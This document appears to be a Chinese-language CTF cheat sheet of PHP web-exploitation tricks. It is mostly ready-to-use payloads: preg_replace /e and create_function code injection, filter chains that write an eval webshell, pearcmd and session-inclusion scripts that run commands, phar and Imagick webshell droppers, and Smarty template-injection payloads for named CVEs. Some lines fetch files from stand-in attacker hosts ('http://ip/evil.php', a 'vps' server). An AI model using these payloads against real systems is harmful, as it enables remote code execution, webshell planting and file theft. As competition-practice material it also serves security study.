php

Tricks

preg_match()

换行绕过

对单行匹配的开头或结尾使用 %0a 绕过。

数组绕过

只能处理字符串,当传入的subject是数组时会返回false。

回溯上限绕过

回溯次数默认为1000000,如果回溯次数超过这个数字,preg_match会返回 false。\

/e代码执行(PHP<7)

preg_replace() /e代码执行漏洞-CSDN博客

1
preg_replace("/please_give_me_flag/ei",$_POST['task'],$_POST['flag']);
1
task=$_POST[1]($_POST[2]);&flag=Please_give_me_flag&1=system&2=tac /f*

md5/sh1绕过

弱比较

两个字符串想当作科学计数法比较时 0e 后必须为纯数字。

一次md5

1
2
240610708
QNKCDZO

两次md5

1
2
3
4
ytl8J61NmcUGzwq
r8qcz79YWDuD2
JfuHrIeEKwz3j
xAF5pSE7u

一次sha1

1
2
3
aaK1STfY
aaO8zKZF
aa3OFF9m

数组绕过

md5()函数无法处理数组,如果传入的为数组,会返回NULL,所以两个数组经过加密后得到的都是NULL,也就是相等的。

强碰撞

md5

[安洵杯 2019]easy_web

1
2
$a1="%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2";
$a2="%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2";
sha1
1
2
3
4
<?php

$a="%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1";
$b="%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1";

反序列化 “整数” 和 “字符” 互化

[CISCN 2023 华北]ez_date

1
2
3
4
5
6
class date{
public $a=1;
public $b="1";
public $file="/f\l\a\g";
}
echo base64_encode(serialize(new date()));

create_function

代码注入

1
2
3
4
5
}system('tac /flag');//

function lambda_1() {
}system('tac /flag');
//}

匿名函数

1
2
$func = create_function("","die('end.');");
$func = "%00lambda_89"

后面的数字是在服务器自增的,除非结束php的进程,刷新网页仍会继续计数。

CVE-2024-2961(cnext)

影响版本:(PHP 7.0.0 (2015) 到 8.3.7 (2024))

从任意文件读到RCE(非交互式的改良版脚本)

GitHub - kezibei/php-filter-iconv

下载 maps 和 libc(mapslibc 的名字),注意一定要用 b64 encode,然后解码保存,否则可能出错。修改一下 python 文件里的对应文件路径和bash命令,打码之后 502 属于正常情况。

include RCE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
<?php
$base64_payload = "PD9waHAgQGV2YWwoJF9SRVFVRVNUWydjbWQnXSk7Pz4"; /*<?php @eval($_REQUEST['cmd']);?>*/
$conversions = array(
'/' => 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4',
'0' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
'1' => 'convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4',
'2' => 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921',
'3' => 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE',
'4' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2',
'5' => 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.GBK.UTF-8|convert.iconv.IEC_P27-1.UCS-4LE',
'6' => 'convert.iconv.UTF-8.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.CSIBM943.UCS4|convert.iconv.IBM866.UCS-2',
'7' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
'8' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
'9' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
'A' => 'convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213',
'B' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
'C' => 'convert.iconv.UTF8.CSISO2022KR',
'D' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
'E' => 'convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT',
'F' => 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB',
'G' => 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90',
'H' => 'convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213',
'I' => 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213',
'J' => 'convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4',
'K' => 'convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE',
'L' => 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.R9.ISO6937|convert.iconv.OSF00010100.UHC',
'M' => 'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T',
'N' => 'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4',
'O' => 'convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775',
'P' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB',
'Q' => 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2',
'R' => 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4',
'S' => 'convert.iconv.UTF-8.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS',
'T' => 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103',
'U' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
'V' => 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB',
'W' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936',
'X' => 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932',
'Y' => 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361',
'Z' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16',
'a' => 'convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE',
'b' => 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE',
'c' => 'convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2',
'd' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
'e' => 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UTF16.EUC-JP-MS|convert.iconv.ISO-8859-1.ISO_6937',
'f' => 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213',
'g' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8',
'h' => 'convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE',
'i' => 'convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000',
'j' => 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16',
'k' => 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2',
'l' => 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE',
'm' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949',
'n' => 'convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61',
'o' => 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE',
'p' => 'convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4',
'q' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.GBK.CP932|convert.iconv.BIG5.UCS2',
'r' => 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.ISO-IR-99.UCS-2BE|convert.iconv.L4.OSF00010101',
's' => 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90',
't' => 'convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS',
'u' => 'convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61',
'v' => 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO_6937-2:1983.R9|convert.iconv.OSF00010005.IBM-932',
'w' => 'convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE',
'x' => 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS',
'y' => 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT',
'z' => 'convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937',
);
$filters = "convert.base64-encode|";
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
$filters .= "convert.iconv.UTF8.UTF7|";
foreach (str_split(strrev($base64_payload)) as $c) {
$filters .= $conversions[$c] . "|";
$filters .= "convert.base64-decode|";
$filters .= "convert.base64-encode|";
$filters .= "convert.iconv.UTF8.UTF7|";
}
$filters .= "convert.base64-decode";
$final_payload = "php://filter/{$filters}/resource=index.php";
echo $final_payload;

构造任意内容

synacktiv/php_filter_chain_generator

1
2
3
4
python3 php_filter_chain_generator.py --chain '<?php phpinfo(); ?>'
http://target.com/vulnerable.php?file=php://filter/生成的过滤器链/resource=php://temp

python3 php_filter_chain_generator.py --chain 'GIF89a'

从文件操作函数到任意文件读

github.com/synacktiv/php_filter_chains_oracle_exploit

1
python filters_chain_oracle_exploit.py --target http://xx/xx.php --file '/var/www/html/file_u_want_to_read.php' --parameter 参数名

image-20251019145936036

死亡 exit

介绍一个过滤器:

1
php://filter/read=string.strip_tags/resource=

对于HTML来说,它会去除标签保留标签之间的内容。

但只有左 < 没有右 > 的后面一律全部杀。

对于php来说,全杀一个不显示。

非同名

1
2
3
4
5
6
7
8
?filename=php://filter/write=string.strip_tags|convert.base64-decode/resource=3.php&content=?>PD9waHAgZXZhbCgkX1BPU1RbYV0pOw==

先用 strip 去掉 php 代码 然后再用 base64-encode 来解码我们的 webshell

?filename=php://filter/convert.base64-decode/resource=1.php&content=aPD9waHAgZXZhbCgkX1BPU1RbYV0pOw==

这个payload 也可以绕过死亡 exit,PD9waHAgZXZhbCgkX1BPU1RbYV0pOw== 是正常的 b64编码后的 webshell,前面a字母和死亡exit中除了特殊字符外的phpexit组成 8 个 byte,从而绕过

同名

1
2
3
4
5
6
7
8
9
10
11
php://filter/write=string.rot13|<?cuc cucvasb();?>|/resource=shell.php

php://filter/write=string.rot13/resource=<?cuc cucvasb();?>/../shell.php

php://filter/<?|string.strip_tags|convert.base64-decode/resource=?>PD9waHAgcGhwaW5mbygpOz8%2b/../shell.php

这里 strip_tags 是为了去掉 等号 否则 b64 解码可能到等号就停止了,这样加个 ?> 闭合 然后用 strip_tags 都去掉 php代码,最后留下的就是正经的

这里构造虚拟目录然后再退出,目的就是让文件可读可访问,要不然全是特殊字符。

php://filter/write=string.strip_tags/?>php_value auto_prepend_file /flag\n#/resource=.htaccess

include文件包含

file://localhost/xxx = /xxx

日志包含

URL:?x=/var/log/nginx/access.log

修改 User-Agent<?php highlight_file('xxx.php'); ?>

有后缀绕过

?c=data:text/plain,<?php system('ls')?>

?c=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4

?c=data:,<?php system('ls')?>

phar => RCE

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
$phar = new Phar('rce.phar');
$phar->startBuffering();
$stub = <<<'STUB'
<?php
system('echo "<?php eval(\$_POST[1]);?>" > /var/www/html/shell.php');
__HALT_COMPILER();
?>
STUB;
$phar->setStub($stub);
$phar->addFromString('test.txt', 'test');
$phar->stopBuffering();
?>
通过 gzip 压缩绕过检测
1
gzip rce.phar
通过改名绕过检测

只要名字中包含子串 .phar 就行,不要求一定是后缀。

这里特指 include,如果其他操作函数需要带上 phar://,这时不要求任意文件名,并且所有的 phar 都可以压缩。

zip/phar协议包含压缩包

1
2
3
4
5
include("zip://php.zip#php.jpg");
include("phar://phar.zip/php.jpg");

# 要求前缀不是 phar 可以加入其他协议
include("compress.zlib://phar://phar.phar/test.txt");

pearcmd/peclcmd 包含

使用条件:

  1. [7.3版本前默认安装]安装了pear扩展(pear 就是一个php扩展及应用的代码仓库,未安装 pear 扩展的话就没有 pear.php 文件可利用)

  2. 知道 pearcmd.php 文件的路径

  3. 开启了register_argc_argv 选项(只有开启了,$_SERVER[‘argv’] 才会生效。)默认为Off【Docker环境下的PHP会开启】

  4. 有包含点,并且能包含php后缀的文件,而且没有 open_basedir 的限制

argcargv 都是用 +(没编码前的,感觉就类似于空格),区分参数的。

1
2
3
4
5
<?php
$a=$_GET['a'];
var_dump($_SERVER['argc']);
var_dump($_SERVER['argv']);
?>

原理就是,当文件包含了pearcmd.php时就会执行$_SERVER['agrv']中的命令。

POST 中传 1=localhost/usr/local/lib/php/pearcmd.php

GET 中传 ?+config-create+/<?=@eval($_POST['cmd']);?>+/var/www/html/shell2.php

原参数命令:

1
2
3
config-create: must have 2 parameters, root path and filename to save as
pear config-create /<?=@eval($_POST[1]);?> /tmp/leekos.php # 第一个需要带一个 / 因为必须是路径(Root directory must be an absolute path beginning with "/")
?+config-create+/&/<?=@eval($_POST['cmd']);?>+/var/www/html/shell.php

注意这个必须在 GET 中传才可以哦!

并且,直接url中get传参会把 < 这些字符自动编码,就成功不了,所以用burp抓包再改传参。

常规 exp:

1
2
3
?file=/usr/local/lib/php/pearcmd.php&+install+-R+/tmp+http://ip/evil.php (路径:/tmp/pear/download/evil.php)

?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=eval($_POST[0]);?>+/tmp/hello.php(路径:/tmp/hello.php)

session 文件包含

利用session.upload_progress进行文件包含和反序列化渗透 - FreeBuf网络安全行业门户

原理就是 服务器会在tmp目录下按照 sess_ + session 名字存储一个 php序列化后的参数值,那么我们假如给他传一个 file 的同时带上参数 PHP_SESSION_UPLOAD_PROGRESS,他就会记录下这个参数,然后再进行执行就行了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests

url = "https://ce9a3a98-d94d-4fde-82d6-8b3091f110f6.challenge.ctf.show/"

data = {
'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST[2]);?>',
'1': 'localhost/tmp/sess_ctfshow',
'2': 'system("cat /f*");'
}

file = {
'file': 'ctfshow'
}
cookies = {
'PHPSESSID': 'ctfshow'
}

response = requests.post(url=url, data=data, files=file, cookies=cookies)
print(response.text)

一些常见的 session 位置

1
2
3
4
5
/var/lib/php5/sess_PHPSESSID
/var/lib/php7/sess_PHPSESSID
/var/lib/php/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSED

assert()执行代码

assert支持普通调用和动态调用。

普通调用

1
2
//?a=phpinfo()
<?php assert($_POST['a']);?>

php<7.0动态调用

1
2
3
4
5
6
7
8
9
10
//?a=phpinfo()
<?php
$a = 'assert';
$a($_POST['a']);
?>

<?php
//?a=assert&b=phpinfo()
$_GET['a']($_GET['b']);
?>

php>7字符串调用

1
2
3
<?php
error_reporting(0);
('assert')('system("whoami")');

move_uploaded_file

image-20251104211657316

当move_uploaded_file函数参数可控时,可以尝试 /. 绕过,因为该函数会忽略掉文件末尾的 /.,所以可以构造 save_path=1.php/.,这样file_ext值就为空,就能绕过黑名单,而move_uploaded_file函数忽略文件末尾的 /. 可以实现保存文件为 .php

smarty 模板引擎

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
X-Forwarded-For: {if system('ls /')}{/if}
X-Forwarded-For: {if system('tac /f*')}{/if}

X-Forwarded-For: {{system("ls")}} (有回显)
{$smarty.version} (smarty版本号)
{php}phpinfo();{/php} (废弃)
{if phpinfo()}{/if}
{self::getStreamVariable(“file:///etc/passwd”)} (旧版本)

{$s=$smarty.template_object->smarty}{$fp=$smarty.template_object->compiled->filepath}{Smarty_Internal_Runtime_WriteFile::writeFile($fp,"<?php+phpinfo();",$s)}

{$smarty.template_object->smarty->disableSecurity()->display('string:{system(\'id\')}')}

{function name='rce(){};system("id");function '}{/function}

# Smarty3
string:{include file='C:/Windows/win.ini'}

# CVE-2021-26120,Smarty<3.1.39
string:{function name='x(){};system(whoami);function '}{/function}

# CVE-2021-26119,Smarty=3.1.44/4.1.0
string:{$smarty.template_object->smarty->_getSmartyObj()->display('string:{system(whoami)}')}
string:{$smarty.template_object->smarty->enableSecurity()->display('string:{system(whoami)}')}
string:{$smarty.template_object->smarty->disableSecurity()->display('string:{system(whoami)}')}
string:{$smarty.template_object->smarty->addTemplateDir('./x')->display('string:{system(whoami)}')}
string:{$smarty.template_object->smarty->setTemplateDir('./x')->display('string:{system(whoami)}')}
string:{$smarty.template_object->smarty->addPluginsDir('./x')->display('string:{system(whoami)}')}
string:{$smarty.template_object->smarty->setPluginsDir('./x')->display('string:{system(whoami)}')}
string:{$smarty.template_object->smarty->setCompileDir('./x')->display('string:{system(whoami)}')}
string:{$smarty.template_object->smarty->setCacheDir('./x')->display('string:{system(whoami)}')}

# CVE-2021-29454,PHP7,Smarty<3.1.42/<4.0.2
eval:{math equation='("\163\171\163\164\145\155")("\167\150\157\141\155\151")'}

intval

低版本可以用科学计数法绕

1
2
3
_GET["lover"] = "4e5"

intval($_GET['lover']) < 2023 && intval($_GET['lover'] + 1) > 2024
  • 当某个数字被过滤时,可以使用它的 8进制/16进制来绕过;比如过滤10,就用012(八进制)或0xA(十六进制)。
  • 对于弱比较(a==b),可以给a、b两个参数传入空数组,使弱比较为true。
  • 当某个数字被过滤时,可以给它增加小数位来绕过;比如过滤3,就用3.1。
  • 当某个数字被过滤时,可以给它拼接字符串来绕过;比如过滤3,就用3ab。(GET请求的参数会自动拼接单引号)
  • 当某个数字被过滤时,可以两次取反来绕过;比如过滤10,就用~~10。
  • a当某个数字被过滤时,可以使用算数运算符绕过;比如过滤10,就用 5+5 或 2*5。
1
2
3
4
5
if (intval($key) < 1) {
if ($key == 1) {
die('Flag is: '.$flag);
} else print 'key is not right !!!';
}

key=0.99999999999999999 时候,intval 只考虑整数部分,但是php精度限制又会把它变成 1,绕过弱类型比较。

include_once

php源码分析 require_once 绕过不能重复包含文件的限制-安全KER - 安全资讯平台

1
?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

/proc/self/root = /

putenv()+system()

1
2
3
4
envs[BASH_FUNC_echo%25%25]=()%20{%20id;%20}

get[BASH_FUNC_echo%%]=() { cat /f*; }
parma[BASH_FUNC_echo()]=() { id; }

mb_strpos+mb_substr

PHP由mb_strpos与mb_substr执行差异导致的小trick - Eddie_Murphy - 博客园

常用于反序列化字符串逃逸。

%9f可以造成字符串往后移动一位,因为它不解析,%f0可以把字符串吞掉三位。

变量覆盖

image-20251104214305056

ini_set()

1
ini_set($name,$value);` => `name=error_log&value=/var/www/html/out.php

file_get_contents

1
echo file_get_contents("suibian://www.baidu.com/../../../../../../../etc/passwd");

用不存在的协议 绕过正则匹配。

parse_url

任意协议都可以解析,可以和上文提到的 file_get_contents 配合绕过。

  • //绕过

    把//认为是相对路径(PHP<5.4.7)。

    如果是//,则被解析成host,后面的内容如果有/,被解析出path,而不是query了。

  • ///绕过

    三个斜杠导致严重不合格的URL,parse_url() 返回FALSE。

open_basedir

open_basedir绕过 - Von的博客 | Von Blog

限制只能访问某一目录时,但敏感信息在其他根目录或其他子目录。

1
2
3
mkdir('test');chdir('test');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');readgzfile('/f1ger');

mkdir('/tmp/test');chdir('/tmp/test');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(scandir('/'));@eval($_POST[a]); echo 1;

高版本通过curl绕过:open_basedir bypass using curl extension · Issue #16802 · php/php-src

basename

返回路径中的文件名部分,会去掉文件名开头的非ASCII值。

1
2
3
4
var_dump(basename("\xffconfig.php")); => config.php
var_dump(basename("config.php\xff")); => config.php

basename($_SERVER['PHP_SELF']) => 运行中的php文件名字

mb_strtolower

PHP: mb_strtolower - Manual

image-20251203152844831

可以处理一些奇奇怪怪的字符,我们可以使用 Unicode 欺骗。

提到了土耳其的字符İ%c4%b0)。İ经过该函数处理可以变成i

mt_rand伪随机数

openwall/php_mt_seed: PHP mt_rand() seed cracker

image-20251215194021946

escapeshellcmd(escapeshellarg(x))造成参数注入

escapeshellarg/escapeshellcmd造成参数注入 · HacKerQWQ’s Studio

例子:

  1. 传入的参数是:172.17.0.2' -v -d a=1
  2. 经过escapeshellarg处理后变成了'172.17.0.2'\'' -v -d a=1',即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。
  3. 经过escapeshellcmd处理后变成'172.17.0.2'\\'' -v -d a=1\',这是因为escapeshellcmd对\以及最后那个不配对儿的引号进行了转义:http://php.net/manual/zh/function.escapeshellcmd.php
  4. 最后执行的命令是curl '172.17.0.2'\\'' -v -d a=1\',由于中间的\被解释为\而不再是转义字符,所以后面的’没有被转义,与再后面的'配对儿成了一个空白连接符。所以可以简化为curl 172.17.0.2\ -v -d a=1',即向172.17.0.2\发起请求,POST 数据为a=1'

PHP-S <= 7.4.21 任意源码读/服务器代码执行

PHP Development Server <= 7.4.21 - Remote Source Disclosure — ProjectDiscovery Blog

image-20251217192303912

image-20260124095007681

1
2
3
4
5
6
7
8
9
GET /s3Cr37_f1L3.php.bak HTTP/1.1
Host: 61.147.171.35:57271

POST /bucunzai.php HTTP/1.1
Host: 61.147.171.35:57271
Content-Type: application/x-www-form-urlencoded
Content-Length: 24

admin=system('cat /f*');

new + 原生类

eval("echo new $a($b);");

1
2
3
4
5
6
7
8
$a="SplFileObject";
$b="system('whoami')";

$a="Exception";
$b="system('whoami')";
eval("echo new $a($b);");

#直接执行后 echo 了

echo new $a($b);

1
2
3
4
5
6
7
8
9
10
11
12
#列目录
$a="DirectoryIterator";
$b="glob://f*";

#读文件
$a="SplFileObject";
$b="1.php";

$a="SplFileObject";
$b="php://filter/convert.base64-encode/resource=1.php";

#这个是调的他们的 tostring

(new $a($b))->$c($d);

1
(new ReflectionFunction('system'))->invoke('whoami');

(new ($a)($b)->$c())(new ($a)($d)->$c())

1
2
3
4
5
6
7
8
9
$error = new Error("Qwq");
echo $error->getMessage();
#构造任意字符串

$a = "Error";
$b = "system";
$d = "whoami";
$c = "getMessage";
(new ($a)($b)->$c())(new ($a)($d)->$c());

new $a($b);

要求:

  1. 需要知道网站的目录(比赛中通常是 /var/www/html 或者 /app 这类);

  2. 需要在网站目录下有写权限,当然如果知道类似于upload这种文件夹的路径也可以(因为通常它们是可写的);

  3. 最最重要的:需要有装Imagick扩展,该扩展其实不是默认自带的(一定程度上限制了攻击面)。

vps 构造恶意图片:

1
convert xc:red -set 'Copyright' '<?php @eval(@$_REQUEST["a"]); ?>' positiv e.png

上传临时文件配合类读入:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
POST /?b=Imagick&c=vid:msl:/tmp/php* HTTP/1.1
Host: 1.1.1.1:32127
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/53
7.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,i
mage/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryeTvfNEmq
Tayg6bqr
Content-Length: 348

------WebKitFormBoundaryeTvfNEmqTayg6bqr
Content-Disposition: form-data; name="123"; filename="exec.msl"
Content-Type: text/plain

<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="http://vps:12345/positive.png" /> 利用出网读文件
<read filename="caption:&lt;?php @eval(@$_REQUEST['a']); ?&gt;" /> 不出网 caption

<write filename="/var/www/html/positive.php"/>
</image>
------WebKitFormBoundaryeTvfNEmqTayg6bqr--

php伪协议

filter

常见filter大全

wupco/PHP_INCLUDE_TO_SHELL_CHAR_DICT

底层分析
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

//echo urlencode("convert.base64-decode").PHP_EOL;
echo file_get_contents("php://filter/write=string.strip_tags/?>php_value auto_prepend_file /flag\n#/resource=.htaccess").PHP_EOL;

